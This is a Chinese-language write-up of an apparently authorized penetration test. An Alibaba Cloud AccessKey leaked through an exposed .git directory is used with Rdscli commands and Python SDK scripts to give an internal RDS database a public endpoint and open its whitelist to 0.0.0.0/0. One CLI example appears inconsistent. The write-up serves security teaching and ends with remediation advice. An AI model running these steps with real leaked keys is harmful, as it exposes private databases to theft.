前言
在某次和地方组织前期渗透侦查中(已授权), 通过/.git/获取到网站源码,查看配置文件发现该系统使用OSS进行文件存储,但是网站迟迟shell不下。通过.git对文件进行恢复,得到信息如下:
1.网站部分源码,但是审计相当耗时。
2.查看配置文件发现数据库采用阿里云RDS,且阿里云RDS为内网地址。
3.网站对文件上传采用OSS进行文件存储。
如果是你,shell拿不到,RDS仅对内,3306端口不通,SQL注入,RCE等常见漏洞又没有,改怎么办?
信息收集
配置信息如下:
ACCESSKEYID=XXXXX
ACCESSKEYSECRET=XXXXX
ENDPOINT=oss-cn-beijing.aliyuncs.com
DB_HOST=rm-xxxxx.mysql.rds.aliyuncs.com
DB_PORT=3306
DB_USER=xxxx
DB_PASSWORD=xxxxx
之前了解过,通过KEYID(非子账户),可以获取到阿里云的服务器权限,例如某些运维平台支持类似这种使用。
但是这些服务器的密码并不知道,及时知道,大部分服务器VPC对外仅开了80,443,而且异地登录会发送告警,这样的方法不可取。
利用方式
获取到MYSQL,但是通过ping,可以看到实际上是一个内网IP,其实服务器是在一个VPC里,也就是数据库只允许内网来链接,这样我们怎么办呢,可能都束手无策了吧。
主要需要分析数据,但是RDS并不允许连接。查询阿里云相关文件,发现RDS其实也可以使用ACCESSKEY来进行操作的。
通过阿里云官网,可以下载工具Rdscli https://market.aliyun.com/products/53690006/cmgj000311.html#sku=mianfeiban
查看相关文档,配置就不再次啰嗦了,文档里面都包含:
通过key查看账户下RDS相关实例:
rds DescribeDBInstances --PageSize 50
返回如下:
[root@localhost Rdscli]# rds DescribeDBInstances --PageSize 50
----------------------------------------------------------------------------------------
| DescribeDBInstances |
+-------------------+----------------------------------------------------------------+
| PageNumber | 1 |
| PageRecordCount | 6 |
| RequestId | XXXXXXXX-XXXX-4A0B-97C1-C5XXXXXXXXXX |
| TotalRecordCount | 6 |
+-------------------+-----------------------------------------------------------------+
|| Items ||
|+-----------------------------------------------------------------------------------+|
||| DBInstance |||
||+-------------------------+-----------------------------------------------------+||
||| ConnectionMode | Standard |||
||| CreateTime | 2020-08-14T12:46:23Z |||
||| DBInstanceClass | rds.mysql.s3.large |||
||| DBInstanceDescription | rr-XXXXXXXXXXXXXXXXX |||
||| DBInstanceId | rr-XXXXXXXXXXXXXXXXX |||
||| DBInstanceNetType | Intranet |||
||| DBInstanceStatus | Running |||
||| DBInstanceStorageType | |||
||| DBInstanceType | Readonly |||
||| Engine | MySQL |||
||| EngineVersion | 8.0 |||
||| ExpireTime | 2020-10-14T16:00:00Z |||
||| InsId | 1 |||
||| InstanceNetworkType | VPC |||
||| LockMode | Unlock |||
||| LockReason | |||
||| MasterInstanceId | rm-XXXXXXXXXXXXXXXXX |||
||| MutriORsignle | False |||
||| PayType | Prepaid |||
||| RegionId | cn-beijing |||
||| ResourceGroupId | rg-XXXXXXXXXXXXXXX |||
||| VSwitchId | vsw-XXXXXXXXXXXXXXXXXXXXX |||
||| VpcCloudInstanceId | rr-XXXXXXXXXXXXXXXXX |||
||| VpcId | vpc-XXXXXXXXXXXXXXXXXXXXX |||
||| ZoneId | cn-beijing-h |||
||+--------------------------------+------------------------------------------------+||
通过工具获取实例ID,查看某个实例信息:
rds ExportDBInstance --DBInstanceId rr-XXXXXXX --filename test
返回实例详细信息:
{
"Items": {
"DBInstanceAttribute": [
{
"Category": "HighAvailability",
"SupportUpgradeAccountType": "No",
"InsId": 1,
"LockMode": "Unlock",
"ConnectionString": "rr-xxxxxxxxxx.mysql.rds.aliyuncs.com",
"MasterInstanceId": "rm-xxxxxxxxxxxx",
"DBInstanceStorageType": "local_ssd",
"DBInstanceNetType": "Intranet",
"ReadDelayTime": "0",
"ReadOnlyDBInstanceIds": {
"ReadOnlyDBInstanceId": []
},
"SupportCreateSuperAccount": "No",
"MaxConnections": 2000,
"DBInstanceClassType": "x",
"Engine": "MySQL",
"AvailabilityValue": "100.0%",
"CanTempUpgrade": true,
"VpcId": "vpc-xxxxxxxxxxx",
"IPType": "IPv4",
"DBMaxQuantity": 99999,
"ConnectionMode": "Standard",
"RegionId": "cn-beijing",
"SlaveZones": {
"SlaveZone": []
},
"ResourceGroupId": "rg-xxxx",
"VSwitchId": "vsw-xxxxxx",
"InstanceNetworkType": "VPC",
"ExpireTime": "2020-10-14T16:00:00Z",
"ConsoleVersion": "",
"DBInstanceType": "Readonly",
"DBInstanceStatus": "Running",
"ProxyType": 0,
"DispenseMode": "ClassicDispenseMode",
"CreationTime": "2020-08-14T12:46:23Z",
"SecurityIPMode": "normal",
"SuperPermissionMode": "",
"AutoUpgradeMinorVersion": "Auto",
"EngineVersion": "8.0",
"CurrentKernelVersion": "rds_20200630",
"DBInstanceDiskUsed": 67697115136,
"IncrementSourceDBInstanceId": "rm-xxxxxxx",
"VpcCloudInstanceId": "rr-xxxxxxx",
"DBInstanceMemory": 8192,
"MaxIOPS": 5000,
"DedicatedHostGroupId": "",
"DBInstanceStorage": 100,
"DBInstanceDescription": "rr-xxxxxxx",
"Extra": {
"DBInstanceIds": {
"DBInstanceId": []
}
},
"LatestKernelVersion": "rds_20200630",
"DBInstanceId": "rr-xxxxxxxxxxxx",
"PayType": "Prepaid",
"AccountMaxQuantity": 99999,
"OriginConfiguration": "",
"MaintainTime": "18:00Z-22:00Z",
"DBInstanceCPU": "4",
"AccountType": "Mix",
"DBInstanceClass": "rds.mysql.s3.large",
"SecurityIPList": "",
"Port": "3306",
"ZoneId": "cn-beijing-h"
}
]
},
"RequestId": "A1A4E351-1778-xxxx-9D57-xxxxxxx"
然后我自己在阿里云注册了一个看看RDS平台提供的功能:
注册发现,实际上RDS分为内网域名和外网域名的,默认是不开外网地址的,需要自己去申请,查看的RDS ConnectionString 很明显是一个内网的地址。
查询官方API,发现有支持此功能的API:
调用AllocateInstancePublicConnection接口申请实例的外网地址
https://help.aliyun.com/document_detail/26234.html?spm=a2c4g.11186623.6.1655.6eb83c34jOC0ON
申请外网地址代码如下:
#!/usr/bin/env python
#coding=utf-8
from aliyunsdkcore.client import AcsClient
from aliyunsdkcore.acs_exception.exceptions import ClientException
from aliyunsdkcore.acs_exception.exceptions import ServerException
from aliyunsdkrds.request.v20140815.AllocateInstancePublicConnectionRequest import AllocateInstancePublicConnectionRequest
client = AcsClient('<accessKeyId>', '<accessSecret>', 'cn-beijing')
request = AllocateInstancePublicConnectionRequest()
request.set_accept_format('json')
request.set_DBInstanceId("DBInstanceId")
request.set_ConnectionStringPrefix("public_domain")
request.set_Port("3306")
response = client.do_action_with_exception(request)
# python2: print(response)
print(str(response, encoding='utf-8'))
开通完外网域名之后,我们再去查询一下RDS实例域名地址:
调用DescribeDBInstanceNetInfo接口查询实例的所有连接地址信息:
#!/usr/bin/env python
#coding=utf-8
from aliyunsdkcore.client import AcsClient
from aliyunsdkcore.acs_exception.exceptions import ClientException
from aliyunsdkcore.acs_exception.exceptions import ServerException
from aliyunsdkrds.request.v20140815.DescribeDBInstanceNetInfoRequest import DescribeDBInstanceNetInfoRequest
client = AcsClient('<accessKeyId>', '<accessSecret>', 'cn-hangzhou')
request = DescribeDBInstanceNetInfoRequest()
request.set_accept_format('json')
request.set_DBInstanceId("DBInstanceId")
response = client.do_action_with_exception(request)
# python2: print(response)
print(str(response, encoding='utf-8'))
返回如下:
{
"RequestId": "xxxx-xx-xx-xx-xxxxxxx",
"DBInstanceNetInfos": {
"DBInstanceNetInfo": [
{
"IPType": "Private",
"VPCId": "vpc-xxxxxxxxx",
"Port": "3306",
"VSwitchId": "vsw-xxxxxx",
"Upgradeable": "Disabled",
"ConnectionString": "rm-xxxxxx.mysql.rds.aliyuncs.com",
"IPAddress": "172.xx.xxx.xxx",
"SecurityIPGroups": {
"securityIPGroup": []
},
"DBInstanceWeights": {
"DBInstanceWeight": []
},
"ConnectionStringType": "Normal"
},
{
"IPType": "Public",
"VPCId": "",
"Port": "3306",
"VSwitchId": "",
"Upgradeable": "Disabled",
"ConnectionString": "rm-xxxxxxxxxxx.mysql.rds.aliyuncs.com",
"IPAddress": "xxx.xxx.xxx.xxx",
"SecurityIPGroups": {
"securityIPGroup": []
},
"DBInstanceWeights": {
"DBInstanceWeight": []
},
"ConnectionStringType": "Normal"
}
]
},
"SecurityIPMode": "normal",
"InstanceNetworkType": "VPC"
}
这样就获取到这个RDS外网地址了,获取外网地址,发现端口不通。
测试发现我自己的也不通,看来是网络的问题了,查一下文档:
解决RDS外网无法访问:https://help.aliyun.com/knowledge_detail/96028.html#2
1、确认访问RDS实例的IP地址已添加到RDS白名单。如果未添加,请参见设置白名单,进行设置。
2、检查ECS实例的安全组。
登录云服务器管理控制台。
找到该实例,单击管理进入实例详情页面,在左侧导航栏,单击本实例安全组。在内网出方向安全全部规则中确认不存在对RDS实例的限制策略。
请检查是否开启了高安全白名单模式,具体请参见高安全白名单模式。如果已开启,需确保设备公网IP地址已添加到经典网络的分组。
注意:专有网络的分组不适用于公网。
3、查看RDS实例的状态,检查是否存在因为磁盘空间超出购买规格限制而被锁定。在实例锁定期间,应用无法对RDS数据库进行读写操作,详情请参见如何排查MySQL实例空间满后自动锁定的原因。
4、通过查看RDS实例的性能监控。
其他性能问题请参见解决CPU、内存、空间、IOPS使用率偏高的问题。
如是业务正常增长,建议您对实例进行配置升级。
说明:升配过程中可能会有一次30s左右的闪断,建议用户做好连接重连机制,保证用户业务的正常运行,具体信息请参考RDS使用须知。
5、确认白名单中添加的设备公网IP地址为设备真正的出口IP地址。IP地址填写错误的原因如下:
设备的公网IP地址不固定,可能会变动。
IP地址查询工具或网站查询的公网IP地址不准确。关于确认设备公网IP地址的方法,请参见定位本地IP。
6、确认使用的连接地址为RDS的外网地址。
看了下我自己的:
RDS默认是127.0.0.1,拒绝所有的,所以我们需要设置一下,允许我们来链接,这样就不会因为火墙就不会导致端口不通了。
可以先查一下IP白名单:
调用DescribeDBInstanceIPArrayList接口查询RDS实例IP白名单。
https://help.aliyun.com/document_detail/26241.html?spm=a2c4g.11186623.6.1715.34013a167E3PKs
调用DescribeDBInstanceAttribute接口查询RDS实例的详细信息。
# 查询IP白名单
request = DescribeDBInstanceIPArrayListRequest()
request.set_accept_format('json')
request.set_DBInstanceId("rm-xxxxxxxxx")
response = client.do_action_with_exception(request)
然后我们再添加一下IP白名单:
调用ModifySecurityIps接口修改RDS实例IP白名单。
https://help.aliyun.com/document_detail/26242.html?spm=a2c4g.11186623.6.1717.14755667CITNGy
from aliyunsdkrds.request.v20140815.ModifySecurityIpsRequest import ModifySecurityIpsRequest
client = AcsClient('xxxxx', 'xxxxxxx', 'cn-beijing')
# 修改IP白名单
request = ModifySecurityIpsRequest()
request.set_accept_format('json')
request.set_DBInstanceId("rm-xxxxxxx")
request.set_SecurityIps("0.0.0.0/0")
response = client.do_action_with_exception(request)
# python2: print(response)
print(str(response))
设置0.0.0.0/0所有对外就都可以链接了。
这样,我们就获得了RDS的外网域名,RDS外网访问权限。
刚才说的工具命令也提供了部分功能:
[root@localhost Rdscli]# rds help
usage: rds <operation> [options and parameters]
[rds] valid operations as follows:
CancelImport | CreateAccount
CreateBackup | CreateDBInstance
CreateDBInstanceForChannel | CreateDBInstanceforFirstPay
CreateDatabase | CreatePostpaidDBInstance
CreateTempDBInstance | CreateUploadPathForSQLServer
DeleteAccount | DeleteDBInstance
DeleteDatabase | DescribeAccounts
DescribeBackupPolicy | DescribeBackups
DescribeBinlogFiles | DescribeDBInstanceAttribute
DescribeDBInstancePerformance | DescribeDBInstances
DescribeDatabases | DescribeErrorLogs
DescribeFilesForSQLServer | DescribeImportsForSQLServer
DescribeOptimizeAdviceByDBA | DescribeOptimizeAdviceOnBigTable
DescribeOptimizeAdviceOnExcessIndex | DescribeOptimizeAdviceOnMissIndex
DescribeOptimizeAdviceOnMissPK | DescribeOptimizeAdviceOnStorage
DescribeParameterTemplates | DescribeParameters
DescribeRegions | DescribeResourceUsage
DescribeSQLLogRecords | DescribeSQLLogReports
DescribeSlowLogRecords | DescribeSlowLogs
ExportDBInstance | GrantAccountPrivilege
ImportDBInstance | ImportDataForSQLServer
ImportDatabaseBetweenInstances | ModifyAccountDescription
ModifyBackupPolicy | ModifyDBDescription
ModifyDBInstanceDescription | ModifyDBInstanceMaintainTime
ModifyDBInstanceSpec | ModifyParameter
ModifyPostpaidDBInstanceSpec | ModifySecurityIps
PurgeDBInstanceLog | ResetAccountPassword
RestartDBInstance | RevokeAccountPrivilege
SwitchDBInstanceNetType | UpgradeDBInstanceEngineVersion
例如:
rds ExportDBInstance --DBInstanceId rr-xxxxx --ModifySecurityIps 0.0.0.0/0
和Python脚本一样,即可外网链接。
同样,我们也可以开通一个安全组、修改RDS密码,重启RDS等等操作。
RDS API
https://help.aliyun.com/document_detail/182821.html?spm=a2c4g.11186623.2.10.4b1b2eb15RxpE2#doc-8073
修复建议
1.其实阿里云已经对ACCESSKEY进行分级,各种应用的子key,但是不排除扔有人直接使用ACCESSKEY,使用子key就可以避免掉这些问题。